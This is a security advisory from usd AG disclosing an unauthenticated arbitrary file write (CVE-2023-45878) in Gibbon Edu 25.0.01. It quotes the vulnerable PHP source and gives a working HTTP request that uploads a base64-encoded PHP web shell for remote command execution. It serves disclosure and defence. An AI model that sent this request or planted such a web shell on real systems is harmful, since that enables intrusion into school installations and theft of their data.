usd-2023-0025 | Arbitrary File Write

Advisory ID: usd-2023-0025
Product: Gibbon (https://gibbonedu.org/)
Affected Version: 25.0.01 (before commit '226d83568cf3d447c4d86d4e5aba2c6e6289045d')
Vulnerability Type: CWE-434: Arbitrary File Write
Security Risk: Critical
Vendor URL: https://gibbonedu.org
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE number: CVE-2023-45878

Desciption

Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes
It offers a range of features to facilitate communication, collaboration, and organization within the educational community.

Unauthenticated attackers can upload arbitrary files to the application and receive code execution on the underlying system.
To receive RCE an attacker must craft a fake image which can be stored as PHP file.

Proof of Concept

The Rubrics module has a file rubrics_visualise_saveAjax.php (source )which can be accessed without being authenticated.

The file accepts the img, path and gibbonPersonID as POST parameters.

From the source line 22:

[...]
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');

The img parameter is expected to be a base64 encoded image as of line 32-34:

[...]
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);

If the path parameter is set, the defined path is used as the destination folder, concatinated with the absolute path of the gibbon installation directory.

The value of the img parameter is written to the defined file path as of line 49-51:

// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);

The following request will write the payload <?php echo system($_GET['cmd'])?> to the file asdf.php.

POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: localhost:8080
[...] img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001

The payload must be base64 encoded seperated by ; and , characters.

Fix

Ensure that only valid file types can be uploaded.

References

Timeline

  • 2023-07-11: Vulnerability identified by Christian Poeschl
  • 2023-09-19: Security Release v25.0.01
  • 2023-11-02: Advisory published

Credits

This security vulnerability was identified by Christian Poeschl of usd AG.